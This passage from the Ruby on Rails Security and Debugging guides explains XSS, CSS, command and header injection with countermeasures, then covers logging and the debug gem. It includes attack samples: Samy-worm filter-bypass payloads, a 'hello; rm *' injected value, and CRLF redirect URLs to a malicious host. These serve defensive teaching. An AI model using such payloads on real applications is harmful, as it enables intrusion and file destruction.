  var IDList = '';   var CRumb = '';   function makeRequest(url, Func, Method,Param) { ...

The worms exploit a hole in Yahoo's HTML/JavaScript filter, which usually filters all targets and onload attributes from tags (because there can be JavaScript). The filter is applied only once, however, so the onload attribute with the worm code stays in place. This is a good example why restricted list filters are never complete and why it is hard to allow HTML/JavaScript in a web application.

Another proof-of-concept webmail worm is Nduja, a cross-domain worm for four Italian webmail services. Find more details on Rosario Valotta's paper. Both webmail worms have the goal to harvest email addresses, something a criminal hacker could make money with.

In December 2006, 34,000 actual usernames and passwords were stolen in a MySpace phishing attack. The idea of the attack was to create a profile page named "login_home_index_html", so the URL looked very convincing. Specially-crafted HTML and CSS was used to hide the genuine MySpace content from the page and instead display its own login form.

7.4 CSS Injection

CSS Injection is actually JavaScript injection, because some browsers (IE, some versions of Safari, and others) allow JavaScript in CSS. Think twice about allowing custom CSS in your web application.

CSS Injection is explained best by the well-known MySpace Samy worm. This worm automatically sent a friend request to Samy (the attacker) simply by visiting his profile. Within several hours he had over 1 million friend requests, which created so much traffic that MySpace went offline. The following is a technical explanation of that worm.

MySpace blocked many tags, but allowed CSS. So the worm's author put JavaScript into CSS like this:

  <div style="background:url('javascript:alert(1)')">

So the payload is in the style attribute. But there are no quotes allowed in the payload, because single and double quotes have already been used. But JavaScript has a handy eval() function which executes any string as code.

  <div id="mycode" expr="alert('hah!')" style="background:url('javascript:eval(document.all.mycode.expr)')">

The eval() function is a nightmare for restricted list input filters, as it allows the style attribute to hide the word "innerHTML":

  alert(eval('document.body.inne' + 'rHTML'));

The next problem was MySpace filtering the word "javascript", so the author used "java<NEWLINE>script" to get around this:

  <div id="mycode" expr="alert('hah!')" style="background:url('java↵script:eval(document.all.mycode.expr)')">

Another problem for the worm's author was the CSRF security tokens. Without them he couldn't send a friend request over POST. He got around it by sending a GET to the page right before adding a user and parsing the result for the CSRF token.

In the end, he got a 4 KB worm, which he injected into his profile page.

The moz-binding CSS property proved to be another way to introduce JavaScript in CSS in Gecko-based browsers (Firefox, for example).

7.4.1 Countermeasures

This example, again, showed that a restricted list filter is never complete. However, as custom CSS in web applications is a quite rare feature, it may be hard to find a good permitted CSS filter. If you want to allow custom colors or images, you can allow the user to choose them and build the CSS in the web application. Use Rails' sanitize() method as a model for a permitted CSS filter, if you really need one.

7.5 Textile Injection

If you want to provide text formatting other than HTML (due to security), use a mark-up language which is converted to HTML on the server-side. RedCloth is such a language for Ruby, but without precautions, it is also vulnerable to XSS.

For example, RedCloth translates _test_ to <em>test<em>, which makes the text italic. However, up to the current version 3.0.4, it is still vulnerable to XSS. Get the all-new version 4 that removed serious bugs. However, even that version has some security bugs, so the countermeasures still apply. Here is an example for version 3.0.4:

  RedCloth.new('<script>alert(1)</script>').to_html
# => "<script>alert(1)</script>"

Use the :filter_html option to remove HTML which was not created by the Textile processor.

  RedCloth.new('<script>alert(1)</script>', [:filter_html]).to_html
# => "alert(1)"

However, this does not filter all HTML, a few tags will be left (by design), for example <a>:

  RedCloth.new("<a href='javascript:alert(1)'>hello</a>", [:filter_html]).to_html
# => "<p><a href="javascript:alert(1)">hello</a></p>"

7.5.1 Countermeasures

It is recommended to use RedCloth in combination with a permitted input filter, as described in the countermeasures against XSS section.

7.6 Ajax Injection

The same security precautions have to be taken for Ajax actions as for "normal" ones. There is at least one exception, however: The output has to be escaped in the controller already, if the action doesn't render a view.

If you use the in_place_editor plugin, or actions that return a string, rather than rendering a view, you have to escape the return value in the action. Otherwise, if the return value contains a XSS string, the malicious code will be executed upon return to the browser. Escape any input value using the h() method.

7.7 Command Line Injection

Use user-supplied command line parameters with caution.

If your application has to execute commands in the underlying operating system, there are several methods in Ruby: system(command), exec(command), spawn(command) and `command`. You will have to be especially careful with these functions if the user may enter the whole command, or a part of it. This is because in most shells, you can execute another command at the end of the first one, concatenating them with a semicolon (;) or a vertical bar (|).

  user_input = "hello; rm *"
system("/bin/echo #{user_input}")
# prints "hello", and deletes files in the current directory

A countermeasure is to use the system(command, parameters) method which passes command line parameters safely.

  system("/bin/echo","hello; rm *")
# prints "hello; rm *" and does not delete files

7.7.1 Kernel#open's Vulnerability

Kernel#open executes OS command if the argument starts with a vertical bar (|).

  open('| ls') { |file| file.read }
# returns file list as a String via `ls` command

Countermeasures are to use File.open, IO.open or URI#open instead. They don't execute an OS command.

  File.open('| ls') { |file| file.read }
# doesn't execute `ls` command, just opens `| ls` file if it exists

IO.open(0) { |file| file.read }
# opens stdin. doesn't accept a String as the argument

require 'open-uri'
URI('https://example.com').open { |file| file.read }
# opens the URI. `URI()` doesn't accept `| ls`

7.8 Header Injection

HTTP headers are dynamically generated and under certain circumstances user input may be injected. This can lead to false redirection, XSS, or HTTP response splitting.

HTTP request headers have a Referer, User-Agent (client software), and Cookie field, among others. Response headers for example have a status code, Cookie, and Location (redirection target URL) field. All of them are user-supplied and may be manipulated with more or less effort. Remember to escape these header fields, too. For example when you display the user agent in an administration area.

Besides that, it is important to know what you are doing when building response headers partly based on user input. For example you want to redirect the user back to a specific page. To do that you introduced a "referer" field in a form to redirect to the given address:

  redirect_to params[:referer]

What happens is that Rails puts the string into the Location header field and sends a 302 (redirect) status to the browser. The first thing a malicious user would do, is this:

  http://www.yourapplication.com/controller/action?referer=http://www.malicious.tld

And due to a bug in (Ruby and) Rails up to version 2.1.2 (excluding it), a hacker may inject arbitrary header fields; for example like this:

  http://www.yourapplication.com/controller/action?referer=http://www.malicious.tld%0d%0aX-Header:+Hi!
http://www.yourapplication.com/controller/action?referer=path/at/your/app%0d%0aLocation:+http://www.malicious.tld

Note that %0d%0a is URL-encoded for \r\n which is a carriage-return and line-feed (CRLF) in Ruby. So the resulting HTTP header for the second example will be the following because the second Location header field overwrites the first.

  HTTP/1.1 302 Moved Temporarily
(...)
Location: http://www.malicious.tld

So attack vectors for Header Injection are based on the injection of CRLF characters in a header field. And what could an attacker do with a false redirection? They could redirect to a phishing site that looks the same as yours, but ask to login again (and sends the login credentials to the attacker). Or they could install malicious software through browser security holes on that site. Rails 2.1.2 escapes these characters for the Location field in the redirect_to method. Make sure you do it yourself when you build other header fields with user input.

7.8.1 Response Splitting

If Header Injection was possible, Response Splitting might be, too. In HTTP, the header block is followed by two CRLFs and the actual data (usually HTML). The idea of Response Splitting is to inject two CRLFs into a header field, followed by another response with malicious HTML. The response will be:

  HTTP/1.1 302 Found [First standard 302 response]
Date: Tue, 12 Apr 2005 22:09:07 GMT
Location:Content-Type: text/html

HTTP/1.1 200 OK [Second New response created by attacker begins]
Content-Type: text/html

&lt;html&gt;&lt;font color=red&gt;hey&lt;/font&gt;&lt;/html&gt; [Arbitrary malicious input is
Keep-Alive: timeout=15, max=100         shown as the redirected page]
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html

Under certain circumstances this would present the malicious HTML to the victim. However, this only seems to work with Keep-Alive connections (and many browsers are using one-time connections). But you can't rely on this. In any case this is a serious bug, and you should update your Rails to version 2.0.5 or 2.1.2 to eliminate Header Injection (and thus response splitting) risks.

8 Unsafe Query Generation

Due to the way Active Record interprets parameters in combination with the way that Rack parses query parameters it was possible to issue unexpected database queries with IS NULL where clauses. As a response to that security issue (CVE-2012-2660, CVE-2012-2694 and CVE-2013-0155) deep_munge method was introduced as a solution to keep Rails secure by default.

Example of vulnerable code that could be used by attacker, if deep_munge wasn't performed is:

  unless params[:token].nil?
  user = User.find_by_token(params[:token])
  user.reset_password!
end

When params[:token] is one of: [nil], [nil, nil, ...] or ['foo', nil] it will bypass the test for nil, but IS NULL or IN ('foo', NULL) where clauses still will be added to the SQL query.

To keep Rails secure by default, deep_munge replaces some of the values with nil. Below table shows what the parameters look like based on JSON sent in request:

JSON | Parameters
{ "person": null } | { :person => nil }
{ "person": [] } | { :person => [] }
{ "person": [null] } | { :person => [] }
{ "person": [null, null, ...] } | { :person => [] }
{ "person": ["foo", null] } | { :person => ["foo"] }

It is possible to return to old behavior and disable deep_munge configuring your application if you are aware of the risk and know how to handle it:

  config.action_dispatch.perform_deep_munge = false

9 HTTP Security Headers

Every HTTP response from your Rails application receives the following default security headers.

  config.action_dispatch.default_headers = {
  'X-Frame-Options' => 'SAMEORIGIN',
  'X-XSS-Protection' => '0',
  'X-Content-Type-Options' => 'nosniff',
  'X-Download-Options' => 'noopen',
  'X-Permitted-Cross-Domain-Policies' => 'none',
  'Referrer-Policy' => 'strict-origin-when-cross-origin'
}

You can configure default headers in config/application.rb.

  config.action_dispatch.default_headers = {
  'Header-Name' => 'Header-Value',
  'X-Frame-Options' => 'DENY'
}

Or you can remove them.

  config.action_dispatch.default_headers.clear

Here is a list of common headers:

X-Frame-Options: SAMEORIGIN in Rails by default - allow framing on same domain. Set it to 'DENY' to deny framing at all or remove this header completely if you want to allow framing on all websites.

X-XSS-Protection: 0 in Rails by default - deprecated legacy header, set to '0' to disable problematic legacy XSS auditors.

X-Content-Type-Options: nosniff in Rails by default - stops the browser from guessing the MIME type of a file.

X-Content-Security-Policy: A powerful mechanism for controlling which sites certain content types can be loaded from

Access-Control-Allow-Origin: Used to control which sites are allowed to bypass same origin policies and send cross-origin requests.

Strict-Transport-Security: Used to control if the browser is allowed to only access a site over a secure connection

9.1 Content-Security-Policy Header

To help protect against XSS and injection attacks, it is recommended to define a Content-Security-Policy response header for your application. Rails provides a DSL that allows you to configure the header.

Define the security policy in the appropriate initializer:

  # config/initializers/content_security_policy.rb
Rails.application.config.content_security_policy do |policy|
  policy.default_src :self, :https
  policy.font_src    :self, :https, :data
  policy.img_src     :self, :https, :data
  policy.object_src  :none
  policy.script_src  :self, :https
  policy.style_src   :self, :https
  # Specify URI for violation reports
  policy.report_uri "/csp-violation-report-endpoint"
end

The globally configured policy can be overridden on a per-resource basis:

  class PostsController < ApplicationController
  content_security_policy do |policy|
    policy.upgrade_insecure_requests true
    policy.base_uri "https://www.example.com"
  end
end

Or it can be disabled:

  class LegacyPagesController < ApplicationController
  content_security_policy false, only: :index
end

Use lambdas to inject per-request values, such as account subdomains in a multi-tenant application:

  class PostsController < ApplicationController
  content_security_policy do |policy|
    policy.base_uri :self, -> { "https://#{current_user.domain}.example.com" }
  end
end

9.1.1 Reporting Violations

Enable the report-uri directive to report violations to the specified URI:

  Rails.application.config.content_security_policy do |policy|
  policy.report_uri "/csp-violation-report-endpoint"
end

When migrating legacy content, you might want to report violations without enforcing the policy. Set the Content-Security-Policy-Report-Only response header to only report violations:

  Rails.application.config.content_security_policy_report_only = true

Or override it in a controller:

  class PostsController < ApplicationController
  content_security_policy_report_only only: :index
end

9.1.2 Adding a Nonce

If you are considering 'unsafe-inline', consider using nonces instead. Nonces provide a substantial improvement over 'unsafe-inline' when implementing a Content Security Policy on top of existing code.

  # config/initializers/content_security_policy.rb
Rails.application.config.content_security_policy do |policy|
  policy.script_src :self, :https
end

Rails.application.config.content_security_policy_nonce_generator = -> request { SecureRandom.base64(16) }

Then you can add an automatic nonce value by passing nonce: true as part of html_options. Example:

  <%= javascript_tag nonce: true do -%>
  alert('Hello, World!');
<% end -%>

The same works with javascript_include_tag:

  <%= javascript_include_tag "script", nonce: true %>

Use csp_meta_tag helper to create a meta tag "csp-nonce" with the per-session nonce value for allowing inline <script> tags.

  <head>
  <%= csp_meta_tag %>
</head>

This is used by the Rails UJS helper to create dynamically loaded inline <script> elements.

10 Environmental Security

It is beyond the scope of this guide to inform you on how to secure your application code and environments. However, please secure your database configuration, e.g. config/database.yml, master key for credentials.yml, and other unencrypted secrets. You may want to further restrict access, using environment-specific versions of these files and any others that may contain sensitive information.

10.1 Custom Credentials

Rails stores secrets in config/credentials.yml.enc, which is encrypted and hence cannot be edited directly. Rails uses config/master.key or alternatively looks for the environment variable ENV["RAILS_MASTER_KEY"] to encrypt the credentials file. Because the credentials file is encrypted, it can be stored in version control, as long as the master key is kept safe.

By default, the credentials file contains the application's secret_key_base. It can also be used to store other secrets such as access keys for external APIs.

To edit the credentials file, run bin/rails credentials:edit. This command will create the credentials file if it does not exist. Additionally, this command will create config/master.key if no master key is defined.

Secrets kept in the credentials file are accessible via Rails.application.credentials. For example, with the following decrypted config/credentials.yml.enc:

  secret_key_base: 3b7cd72...
some_api_key: SOMEKEY
system:
  access_key_id: 1234AB

Rails.application.credentials.some_api_key returns "SOMEKEY". Rails.application.credentials.system.access_key_id returns "1234AB".

If you want an exception to be raised when some key is blank, you can use the bang version:

  # When some_api_key is blank...
Rails.application.credentials.some_api_key! # => KeyError: :some_api_key is blank

Learn more about credentials with bin/rails credentials:help.

Keep your master key safe. Do not commit your master key.

11 Dependency Management and CVEs

We don’t bump dependencies just to encourage use of new versions, including for security issues. This is because application owners need to manually update their gems regardless of our efforts. Use bundle update --conservative gem_name to safely update vulnerable dependencies.

12 Additional Resources

The security landscape shifts and it is important to keep up to date, because missing a new vulnerability can be catastrophic. You can find additional resources about (Rails) security here:

Subscribe to the Rails security mailing list.

Brakeman - Rails Security Scanner - To perform static security analysis for Rails applications.

Mozilla's Web Security Guidelines - Recommendations on topics covering Content Security Policy, HTTP headers, Cookies, TLS configuration, etc.

A good security blog including the Cross-Site scripting Cheat Sheet.

Debugging Rails Applications

This guide introduces techniques for debugging Ruby on Rails applications.

After reading this guide, you will know:

The purpose of debugging.

How to track down problems and issues in your application that your tests aren't identifying.

The different ways of debugging.

How to analyze the stack trace.

Chapters

View Helpers for Debugging

debug

to_yaml

inspect

The Logger

What is the Logger?

Log Levels

Sending Messages

Verbose Query Logs

Tagged Logging

Impact of Logs on Performance

Debugging with the debug Gem

Entering a Debugging Session

The Context

Breakpoints

Debugging with the web-console Gem

Console

Inspecting Variables

Settings

Debugging Memory Leaks

Valgrind

Find a Memory Leak

Plugins for Debugging

References

1 View Helpers for Debugging

One common task is to inspect the contents of a variable. Rails provides three different ways to do this:

debug

to_yaml

inspect

1.1 debug

The debug helper will return a <pre> tag that renders the object using the YAML format. This will generate human-readable data from any object. For example, if you have this code in a view:

  <%= debug @article %>
<p>
  <b>Title:</b>
  <%= @article.title %>
</p>

You'll see something like this:

  --- !ruby/object Article
attributes:
  updated_at: 2008-09-05 22:55:47
  body: It's a very helpful guide for debugging your Rails app.
  title: Rails debugging guide
  published: t
  id: "1"
  created_at: 2008-09-05 22:55:47
attributes_cache: {}

Title: Rails debugging guide

1.2 to_yaml

Alternatively, calling to_yaml on any object converts it to YAML. You can pass this converted object into the simple_format helper method to format the output. This is how debug does its magic.

  <%= simple_format @article.to_yaml %>
<p>
  <b>Title:</b>
  <%= @article.title %>
</p>

The above code will render something like this:

  --- !ruby/object Article
attributes:
updated_at: 2008-09-05 22:55:47
body: It's a very helpful guide for debugging your Rails app.
title: Rails debugging guide
published: t
id: "1"
created_at: 2008-09-05 22:55:47
attributes_cache: {}

Title: Rails debugging guide

1.3 inspect

Another useful method for displaying object values is inspect, especially when working with arrays or hashes. This will print the object value as a string. For example:

  <%= [1, 2, 3, 4, 5].inspect %>
<p>
  <b>Title:</b>
  <%= @article.title %>
</p>

Will render:

  [1, 2, 3, 4, 5]

Title: Rails debugging guide

2 The Logger

It can also be useful to save information to log files at runtime. Rails maintains a separate log file for each runtime environment.

2.1 What is the Logger?

Rails makes use of the ActiveSupport::Logger class to write log information. Other loggers, such as Log4r, may also be substituted.

You can specify an alternative logger in config/application.rb or any other environment file, for example:

  config.logger = Logger.new(STDOUT)
config.logger = Log4r::Logger.new("Application Log")

Or in the Initializer section, add any of the following

  Rails.logger = Logger.new(STDOUT)
Rails.logger = Log4r::Logger.new("Application Log")

By default, each log is created under Rails.root/log/ and the log file is named after the environment in which the application is running.

2.2 Log Levels

When something is logged, it's printed into the corresponding log if the log level of the message is equal to or higher than the configured log level. If you want to know the current log level, you can call the Rails.logger.level method.

The available log levels are: :debug, :info, :warn, :error, :fatal, and :unknown, corresponding to the log level numbers from 0 up to 5, respectively. To change the default log level, use

  config.log_level = :warn # In any environment initializer, or
Rails.logger.level = 0 # at any time

This is useful when you want to log under development or staging without flooding your production log with unnecessary information.

The default Rails log level is debug in all environments.

2.3 Sending Messages

To write in the current log use the logger.(debug|info|warn|error|fatal|unknown) method from within a controller, model, or mailer:

  logger.debug "Person attributes hash: #{@person.attributes.inspect}"
logger.info "Processing the request..."
logger.fatal "Terminating application, raised unrecoverable error!!!"

Here's an example of a method instrumented with extra logging:

  class ArticlesController < ApplicationController
  # ...

  def create
    @article = Article.new(article_params)
    logger.debug "New article: #{@article.attributes.inspect}"
    logger.debug "Article should be valid: #{@article.valid?}"

    if @article.save
      logger.debug "The article was saved and now the user is going to be redirected..."
      redirect_to @article, notice: 'Article was successfully created.'
    else
      render :new, status: :unprocessable_entity
    end
  end

  # ...

  private
    def article_params
      params.require(:article).permit(:title, :body, :published)
    end
end

Here's an example of the log generated when this controller action is executed:

  Started POST "/articles" for 127.0.0.1 at 2018-10-18 20:09:23 -0400
Processing by ArticlesController#create as HTML
  Parameters: {"utf8"=>"✓", "authenticity_token"=>"XLveDrKzF1SwaiNRPTaMtkrsTzedtebPPkmxEFIU0ordLjICSnXsSNfrdMa4ccyBjuGwnnEiQhEoMN6H1Gtz3A==", "article"=>{"title"=>"Debugging Rails", "body"=>"I'm learning how to print in logs.", "published"=>"0"}, "commit"=>"Create Article"}
New article: {"id"=>nil, "title"=>"Debugging Rails", "body"=>"I'm learning how to print in logs.", "published"=>false, "created_at"=>nil, "updated_at"=>nil}
Article should be valid: true
   (0.0ms)  begin transaction
  ↳ app/controllers/articles_controller.rb:31
  Article Create (0.5ms)  INSERT INTO "articles" ("title", "body", "published", "created_at", "updated_at") VALUES (?, ?, ?, ?, ?)  [["title", "Debugging Rails"], ["body", "I'm learning how to print in logs."], ["published", 0], ["created_at", "2018-10-19 00:09:23.216549"], ["updated_at", "2018-10-19 00:09:23.216549"]]
  ↳ app/controllers/articles_controller.rb:31
   (2.3ms)  commit transaction
  ↳ app/controllers/articles_controller.rb:31
The article was saved and now the user is going to be redirected...
Redirected to http://localhost:3000/articles/1
Completed 302 Found in 4ms (ActiveRecord: 0.8ms)

Adding extra logging like this makes it easy to search for unexpected or unusual behavior in your logs. If you add extra logging, be sure to make sensible use of log levels to avoid filling your production logs with useless trivia.

2.4 Verbose Query Logs

When looking at database query output in logs, it may not be immediately clear why multiple database queries are triggered when a single method is called:

  irb(main):001:0> Article.pamplemousse
  Article Load (0.4ms)  SELECT "articles".* FROM "articles"
  Comment Load (0.2ms)  SELECT "comments".* FROM "comments" WHERE "comments"."article_id" = ?  [["article_id", 1]]
  Comment Load (0.1ms)  SELECT "comments".* FROM "comments" WHERE "comments"."article_id" = ?  [["article_id", 2]]
  Comment Load (0.1ms)  SELECT "comments".* FROM "comments" WHERE "comments"."article_id" = ?  [["article_id", 3]]
=> #<Comment id: 2, author: "1", body: "Well, actually...", article_id: 1, created_at: "2018-10-19 00:56:10", updated_at: "2018-10-19 00:56:10">

After running ActiveRecord.verbose_query_logs = true in the bin/rails console session to enable verbose query logs and running the method again, it becomes obvious what single line of code is generating all these discrete database calls:

  irb(main):003:0> Article.pamplemousse
  Article Load (0.2ms)  SELECT "articles".* FROM "articles"
  ↳ app/models/article.rb:5
  Comment Load (0.1ms)  SELECT "comments".* FROM "comments" WHERE "comments"."article_id" = ?  [["article_id", 1]]
  ↳ app/models/article.rb:6
  Comment Load (0.1ms)  SELECT "comments".* FROM "comments" WHERE "comments"."article_id" = ?  [["article_id", 2]]
  ↳ app/models/article.rb:6
  Comment Load (0.1ms)  SELECT "comments".* FROM "comments" WHERE "comments"."article_id" = ?  [["article_id", 3]]
  ↳ app/models/article.rb:6
=> #<Comment id: 2, author: "1", body: "Well, actually...", article_id: 1, created_at: "2018-10-19 00:56:10", updated_at: "2018-10-19 00:56:10">

Below each database statement you can see arrows pointing to the specific source filename (and line number) of the method that resulted in a database call. This can help you identify and address performance problems caused by N+1 queries: single database queries that generates multiple additional queries.

Verbose query logs are enabled by default in the development environment logs after Rails 5.2.

We recommend against using this setting in production environments. It relies on Ruby's Kernel#caller method which tends to allocate a lot of memory in order to generate stacktraces of method calls.

2.5 Tagged Logging

When running multi-user, multi-account applications, it's often useful to be able to filter the logs using some custom rules. TaggedLogging in Active Support helps you do exactly that by stamping log lines with subdomains, request ids, and anything else to aid debugging such applications.

  logger = ActiveSupport::TaggedLogging.new(Logger.new(STDOUT))
logger.tagged("BCX") { logger.info "Stuff" }                            # Logs "[BCX] Stuff"
logger.tagged("BCX", "Jason") { logger.info "Stuff" }                   # Logs "[BCX] [Jason] Stuff"
logger.tagged("BCX") { logger.tagged("Jason") { logger.info "Stuff" } } # Logs "[BCX] [Jason] Stuff"

2.6 Impact of Logs on Performance

Logging will always have a small impact on the performance of your Rails app, particularly when logging to disk. Additionally, there are a few subtleties:

Using the :debug level will have a greater performance penalty than :fatal, as a far greater number of strings are being evaluated and written to the log output (e.g. disk).

Another potential pitfall is too many calls to Logger in your code:

  logger.debug "Person attributes hash: #{@person.attributes.inspect}"

In the above example, there will be a performance impact even if the allowed output level doesn't include debug. The reason is that Ruby has to evaluate these strings, which includes instantiating the somewhat heavy String object and interpolating the variables.

Therefore, it's recommended to pass blocks to the logger methods, as these are only evaluated if the output level is the same as — or included in — the allowed level (i.e. lazy loading). The same code rewritten would be:

  logger.debug {"Person attributes hash: #{@person.attributes.inspect}"}

The contents of the block, and therefore the string interpolation, are only evaluated if debug is enabled. This performance savings are only really noticeable with large amounts of logging, but it's a good practice to employ.

This section was written by Jon Cairns at a Stack Overflow answer and it is licensed under cc by-sa 4.0.

3 Debugging with the debug Gem

When your code is behaving in unexpected ways, you can try printing to logs or the console to diagnose the problem. Unfortunately, there are times when this sort of error tracking is not effective in finding the root cause of a problem. When you actually need to journey into your running source code, the debugger is your best companion.

The debugger can also help you if you want to learn about the Rails source code but don't know where to start. Just debug any request to your application and use this guide to learn how to move from the code you have written into the underlying Rails code.

Rails 7 includes the debug gem in the Gemfile of new applications generated by CRuby. By default, it is ready in the development and test environments. Please check its documentation for usage.

3.1 Entering a Debugging Session

By default, a debugging session will start after the debug library is required, which happens when your app boots. But don't worry, the session won't interfere your program.

To enter the debugging session, you can use binding.break and its aliases: binding.b and debugger. The following examples will use debugger:

  class PostsController < ApplicationController
  before_action :set_post, only: %i[ show edit update destroy ]

  # GET /posts or /posts.json
  def index
    @posts = Post.all
    debugger
  end
  # ...
end

Once your app evaluates the debugging statement, it'll enter the debugging session:

  Processing by PostsController#index as HTML
[2, 11] in ~/projects/rails-guide-example/app/controllers/posts_controller.rb
     2|   before_action :set_post, only: %i[ show edit update destroy ]
     3|
     4|   # GET /posts or /posts.json
     5|   def index
     6|     @posts = Post.all
=>   7|     debugger
     8|   end
     9|
    10|   # GET /posts/1 or /posts/1.json
    11|   def show
=>#0    PostsController#index at ~/projects/rails-guide-example/app/controllers/posts_controller.rb:7
  #1    ActionController::BasicImplicitRender#send_action(method="index", args=[]) at ~/.rbenv/versions/3.0.1/lib/ruby/gems/3.0.0/gems/actionpack-7.0.0.alpha2/lib/action_controller/metal/basic_implicit_render.rb:6
  # and 72 frames (use `bt' command for all frames)
(rdbg)

You can exit the debugging session at any time and continue your application execution with the continue (or c) command. Or, to exit both the debugging session and your application, use the quit (or q) command.

3.2 The Context

After entering the debugging session, you can type in Ruby code as you're in a Rails console or IRB.

  (rdbg) @posts    # ruby
[]
(rdbg) self
#<PostsController:0x0000000000aeb0>
(rdbg)

You can also use p or pp command to evaluate Ruby expressions (e.g. when a variable name conflicts with a debugger command).

  (rdbg) p headers    # command
=> {"X-Frame-Options"=>"SAMEORIGIN", "X-XSS-Protection"=>"1; mode=block", "X-Content-Type-Options"=>"nosniff", "X-Download-Options"=>"noopen", "X-Permitted-Cross-Domain-Policies"=>"none", "Referrer-Policy"=>"strict-origin-when-cross-origin"}
(rdbg) pp headers    # command
{"X-Frame-Options"=>"SAMEORIGIN",
 "X-XSS-Protection"=>"1; mode=block",
 "X-Content-Type-Options"=>"nosniff",
 "X-Download-Options"=>"noopen",
 "X-Permitted-Cross-Domain-Policies"=>"none",
 "Referrer-Policy"=>"strict-origin-when-cross-origin"}
(rdbg)

Besides direct evaluation, debugger also helps you collect rich amount of information through different commands. Just to name a few here:

info (or i) - Information about current frame.

backtrace (or bt) - Backtrace (with additional information).

outline (or o, ls) - Available methods, constants, local variables, and instance variables in the current scope.

3.2.1 The info Command

It'll give you an overview of the values of local and instance variables that are visible from the current frame.

  (rdbg) info    # command
%self = #<PostsController:0x0000000000af78>
@_action_has_layout = true
@_action_name = "index"
@_config = {}
@_lookup_context = #<ActionView::LookupContext:0x00007fd91a037e38 @details_key=nil, @digest_cache=...
@_request = #<ActionDispatch::Request GET "http://localhost:3000/posts" for 127.0.0.1>
@_response = #<ActionDispatch::Response:0x00007fd91a03ea08 @mon_data=#<Monitor:0x00007fd91a03e8c8>...
@_response_body = nil
@_routes = nil
@marked_for_same_origin_verification = true
@posts = []
@rendered_format = nil

3.2.2 The backtrace Command

When used without any options, it lists all the frames on the stack:

  =>#0    PostsController#index at ~/projects/rails-guide-example/app/controllers/posts_controller.rb:7
  #1    ActionController::BasicImplicitRender#send_action(method="index", args=[]) at ~/.rbenv/versions/3.0.1/lib/ruby/gems/3.0.0/gems/actionpack-7.0.0.alpha2/lib/action_controller/metal/basic_implicit_render.rb:6
  #2    AbstractController::Base#process_action(method_name="index", args=[]) at ~/.rbenv/versions/3.0.1/lib/ruby/gems/3.0.0/gems/actionpack-7.0.0.alpha2/lib/abstract_controller/base.rb:214
  #3    ActionController::Rendering#process_action(#arg_rest=nil) at ~/.rbenv/versions/3.0.1/lib/ruby/gems/3.0.0/gems/actionpack-7.0.0.alpha2/lib/action_controller/metal/rendering.rb:53
  #4    block in process_action at ~/.rbenv/versions/3.0.1/lib/ruby/gems/3.0.0/gems/actionpack-7.0.0.alpha2/lib/abstract_controller/callbacks.rb:221
  #5    block in run_callbacks at ~/.rbenv/versions/3.0.1/lib/ruby/gems/3.0.0/gems/activesupport-7.0.0.alpha2/lib/active_support/callbacks.rb:118
  #6    ActionText::Rendering::ClassMethods#with_renderer(renderer=#<PostsController:0x0000000000af78>) at ~/.rbenv/versions/3.0.1/lib/ruby/gems/3.0.0/gems/actiontext-7.0.0.alpha2/lib/action_text/rendering.rb:20
  #7    block {|controller=#<PostsController:0x0000000000af78>, action=#<Proc:0x00007fd91985f1c0 /Users/st0012/...|} in <class:Engine> (4 levels) at ~/.rbenv/versions/3.0.1/lib/ruby/gems/3.0.0/gems/actiontext-7.0.0.alpha2/lib/action_text/engine.rb:69
  #8    [C] BasicObject#instance_exec at ~/.rbenv/versions/3.0.1/lib/ruby/gems/3.0.0/gems/activesupport-7.0.0.alpha2/lib/active_support/callbacks.rb:127
  ..... and more

Every frame comes with:

Frame identifier

Call location

Additional information (e.g. block or method arguments)

This will give you a great sense about what's happening in your app. However, you probably will notice that:

There are too many frames (usually 50+ in a Rails app).

Most of the frames are from Rails or other libraries you use.

Don't worry, the backtrace command provides 2 options to help you filter frames:

backtrace [num] - only show num numbers of frames, e.g. backtrace 10 .

backtrace /pattern/ - only show frames with identifier or location that matches the pattern, e.g. backtrace /MyModel/.

It's also possible to use these options together: backtrace [num] /pattern/.

3.2.3 The outline Command

This command is similar to pry and irb's ls command. It will show you what's accessible from the current scope, including:

Local variables

Instance variables

Class variables

Methods & their sources

  ActiveSupport::Configurable#methods: config
AbstractController::Base#methods:
  action_methods  action_name  action_name=  available_action?  controller_path  inspect
  response_body
ActionController::Metal#methods:
  content_type       content_type=  controller_name  dispatch          headers
  location           location=      media_type       middleware_stack  middleware_stack=
  middleware_stack?  performed?     request          request=          reset_session
  response           response=      response_body=   response_code     session
  set_request!       set_response!  status           status=           to_a
ActionView::ViewPaths#methods:
  _prefixes  any_templates?  append_view_path   details_for_lookup  formats     formats=  locale
  locale=    lookup_context  prepend_view_path  template_exists?    view_paths
AbstractController::Rendering#methods: view_assigns

# .....

PostsController#methods: create  destroy  edit  index  new  show  update
instance variables:
  @_action_has_layout  @_action_name    @_config  @_lookup_context                      @_request
  @_response           @_response_body  @_routes  @marked_for_same_origin_verification  @posts
  @rendered_format
class variables: @@raise_on_missing_translations  @@raise_on_open_redirects

3.3 Breakpoints

There are many ways to insert and trigger a breakpoint in the debugger. In addition to adding debugging statements (e.g. debugger) directly in your code, you can also insert breakpoints with commands:

break (or b)

break - list all breakpoints

break <num> - set a breakpoint on the num line of the current file

break <file:num> - set a breakpoint on the num line of file

break <Class#method> or break <Class.method> - set a breakpoint on Class#method or Class.method

break <expr>.<method> - sets a breakpoint on <expr> result's <method> method.

catch <Exception> - set a breakpoint that'll stop when Exception is raised

watch <@ivar> - set a breakpoint that'll stop when the result of current object's @ivar is changed (this is slow)

And to remove them, you can use:

delete (or del)

delete - delete all breakpoints

delete <num> - delete the breakpoint with id num

3.3.1 The break Command

Set a breakpoint on a specified line number - e.g. b 28

  [20, 29] in ~/projects/rails-guide-example/app/controllers/posts_controller.rb
    20|   end
    21|
    22|   # POST /posts or /posts.json
    23|   def create
    24|     @post = Post.new(post_params)
=>  25|     debugger
    26|
    27|     respond_to do |format|
    28|       if @post.save
    29|         format.html { redirect_to @post, notice: "Post was successfully created." }
=>#0    PostsController#create at ~/projects/rails-guide-example/app/controllers/posts_controller.rb:25
  #1    ActionController::BasicImplicitRender#send_action(method="create", args=[]) at ~/.rbenv/versions/3.0.1/lib/ruby/gems/3.0.0/gems/actionpack-7.0.0.alpha2/lib/action_controller/metal/basic_implicit_render.rb:6
  # and 72 frames (use `bt' command for all frames)
(rdbg) b 28    # break command
#0  BP - Line  /Users/st0012/projects/rails-guide-example/app/controllers/posts_controller.rb:28 (line)

  (rdbg) c    # continue command
[23, 32] in ~/projects/rails-guide-example/app/controllers/posts_controller.rb
    23|   def create
    24|     @post = Post.new(post_params)
